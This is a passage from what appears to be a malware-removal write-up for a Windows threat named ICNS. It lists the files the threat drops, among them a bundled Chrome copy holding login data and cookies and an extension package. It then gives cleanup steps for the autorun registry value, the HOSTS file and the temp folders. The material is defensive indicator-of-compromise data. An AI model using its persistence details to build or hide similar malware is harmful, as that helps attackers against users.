    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\cin.exe.run (78 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\pt-BR.pak (762 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\cs.pak (250 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\da.pak (762 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\kn.pak (4074 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\icudt.dll (455362 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\cs.dll (10 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\it.dll (10 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\de.pak (762 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\chrome.exe (30992 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\he.dll (9 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\nb.dll (9 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\en-US.pak (762 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\hi.dll (10 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\es-419.pak (762 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\ca.pak (762 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\zh-CN.pak (762 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\gu.dll (9 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\nl.pak (762 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\bn.pak (2282 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\pl.pak (762 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\fr.pak (762 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\sr.dll (9 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\sw.pak (762 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\ta.dll (10 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\ja.dll (9 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\uk.pak (2282 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\chrome.dll (794832 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\id.pak (762 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\ml.pak (4074 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\es.pak (762 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\hr.pak (762 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\en-GB.pak (762 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\it.pak (250 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\sk.pak (762 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\pt-PT.dll (10 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\fi.dll (9 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\et.dll (9 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\el.dll (10 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\uk.dll (9 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\tr.pak (250 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\fa.dll (9 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\et.pak (2249 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\resources.pak (40311 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\th.pak (2282 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\chrome_100_percent.pak (6625 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\sw.dll (10 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\ar.dll (9 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\ar.pak (2282 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\vi.dll (9 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\ro.dll (10 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\libpeerconnection.dll (56491 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\bg.dll (10 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\PepperFlash\manifest.json (2 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\am.dll (9 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\zh-TW.pak (762 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\ru.dll (9 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\pt-BR.dll (10 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\fil.dll (10 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\sl.dll (10 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\he.pak (762 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\te.pak (3257 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\zh-TW.dll (9 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\da.dll (10 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\pt-PT.pak (250 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\fi.pak (762 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\PepperFlash\pepflashplayer.dll (277843 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\vi.pak (762 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\hi.pak (2282 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\de.dll (10 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\en-US.dll (9 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\fa.pak (2282 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\ms.dll (9 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\te.dll (10 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\nl.dll (10 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\sv.pak (762 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\mr.dll (9 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\ja.pak (1274 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\lv.pak (762 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\sl.pak (762 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\ca.dll (10 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\nb.pak (762 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\zh-CN.dll (9 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\ro.pak (762 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\ko.pak (762 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\es.dll (10 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\sr.pak (2282 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\lt.dll (10 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\ru.pak (2282 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\am.pak (2282 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\bg.pak (2282 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\hu.dll (10 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\en-GB.dll (9 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\ml.dll (10 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\el.pak (3461 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\lv.dll (9 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\mr.pak (2282 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\fil.pak (762 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\hu.pak (762 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\kn.dll (10 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\bn.dll (9 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\th.dll (9 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\es-419.dll (10 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\gu.pak (2282 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\ms.pak (762 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\sv.dll (9 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\sk.dll (10 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\tr.dll (10 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\fr.dll (10 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\pl.dll (10 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\hr.dll (10 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\lt.pak (762 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\id.dll (10 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\ta.pak (5049 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\30.0.1573.2\Locales\ko.dll (9 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\profile\Default\Network Action Predictor-journal (12870 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\profile\Default\Shortcuts-journal (564 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\etilqs_KebGwhiEGvOYBtm (131 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\8.tmp (1 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\etilqs_IGvlFJjUqRhIydj (12 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\profile\Default\Extension State\MANIFEST-000002 (69 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\etilqs_S4AtrcJZtHDsWT1 (286 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\etilqs_HfxwqJrUG9agR7Y (532 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\profile\Default\Extension State\000001.dbtmp (20 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\profile\Default\Cache\data_0 (33644 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\profile\Default\Cache\data_1 (25936 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\profile\Default\Cache\data_2 (5648 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\profile\Default\Cache\data_3 (200 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\etilqs_dQBYjDxcxcpVOz7 (131 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\7.tmp (673 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\profile\Default\Extension Rules\LOG (47 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\profile\Default\Extension State\MANIFEST-000001 (41 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\profile\Default\Origin Bound Certs (495 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\profile\Default\Login Data (1454 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\profile\Default\Origin Bound Certs-journal (1682 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\profile\Default\History-journal (13168 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\profile\Default\Favicons-journal (15988 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\profile\Default\6.tmp (21 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\profile\Default\Extension Rules\000002.dbtmp (20 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\profile\Default\User StyleSheets\Custom.css (0 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\etilqs_baqSUhrlvI2z50q (532 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\profile\2.tmp (5 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales (4 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\profile\Default\Extension State\000002.dbtmp (20 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\profile\5.tmp (6 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\profile\Default\Extension Rules\MANIFEST-000001 (41 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\profile\Default\Extension Rules\MANIFEST-000002 (69 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\profile\Default\Top Sites-journal (12020 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\etilqs_K3VyIMiaw5mZ0Y5 (286 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\etilqs_G56vGeNP2h9gqCm (131 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\profile\Default\History Index 2014-04 (15028 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\profile\Default\B.tmp (129 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\profile\Default\9.tmp (328 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\profile\Default\Cookies (745 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\7.tmp (23730 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\profile\Default\3.tmp (12 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\profile\Default\Cache\f_000002 (20 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\profile\Default\Cache\f_000001 (20 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\profile\Default\Archived History (21037 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\etilqs_SpKiY6DlpnTZ9Lc (532 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\profile\Default\Current Session (4466 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\etilqs_ubJaX3UoLepJd59 (532 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\profile\A.tmp (6 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\First Run (0 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\profile\Default\Cookies-journal (2791 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\profile\Default\Archived History-journal (12592 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\profile\Default\Cache\index (368 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\images (4 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\profile\Default\History Index 2014-04-journal (15736 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\profile\Safe Browsing Cookies-journal (2791 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\profile\Default\4.tmp (20 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\profile\Default\Extension State\LOG (47 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\profile\Default\Web Data (31429 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\profile\Default\Login Data-journal (564 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\profile\Default\Extension State\000003.log (551 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\etilqs_WzNZb1HdzReTbOR (286 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\profile\Default\Web Data-journal (1612 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\profile\Default\1.tmp (1 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\profile\Default\Visited Links (360 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\profile\Default\Extension Rules\000001.dbtmp (20 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\es\messages.json (590 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\hr\messages.json (526 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_metadata\verified_contents.json (392 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\hi\messages.json (1 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\es_419\messages.json (548 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\css\craw_window.css (1 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\sr\messages.json (1 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\lv\messages.json (640 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\craw_background.js (12376 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\bg\messages.json (1 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\fi\messages.json (602 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\tr\messages.json (607 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\nb\messages.json (533 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\sl\messages.json (527 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\images\topbar_floating_button_pressed.png (160 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\craw_window.js (14776 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\en\messages.json (474 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\html\craw_window.html (810 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\pt_BR\messages.json (560 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\vi\messages.json (723 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\th\messages.json (1 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\cs\messages.json (588 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\et\messages.json (478 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\ca\messages.json (567 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\images\topbar_floating_button_maximize.png (166 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\el\messages.json (1 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\manifest.json (1 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\id\messages.json (474 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\fil\messages.json (549 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\de\messages.json (570 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\images\topbar_floating_button_close.png (252 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\zh_TW\messages.json (731 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\sk\messages.json (596 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\lt\messages.json (609 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\da\messages.json (531 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\nl\messages.json (499 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\images\topbar_floating_button_hover.png (160 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\en_GB\messages.json (474 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\images\icon_16.png (531 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\ro\messages.json (597 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\fr\messages.json (597 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\images\flapper.gif (5224 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\images\icon_128.png (3 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\it\messages.json (487 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\sv\messages.json (554 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\images\topbar_floating_button.png (160 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\pt_PT\messages.json (566 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\hu\messages.json (667 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\ja\messages.json (1 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\uk\messages.json (1 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\ko\messages.json (763 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\ru\messages.json (1 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\pl\messages.json (603 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\scoped_dir_876_23820\CRX_INSTALL\_locales\zh_CN\messages.json (641 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\SHKE86ZM\desktop.ini (67 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\INTYDBJO\desktop.ini (67 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\SDJ7K3RV\desktop.ini (67 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\GV4HH7PU\desktop.ini (67 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\iis.exe (2721720 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\tmpffplug.zip (768 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\ICNS100.exe (77149 bytes)

  4. Delete the following value(s) in the autorun key (How to Work with System Registry):

    [HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
    "ICNS" = "%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\ICNS100.exe"

  5. Restore the original content of the HOSTS file (%System%\drivers\etc\hosts): 127.0.0.1 localhost
  6. Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
  7. Reboot the computer.
*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

Static Analysis

VersionInfo

Company Name:
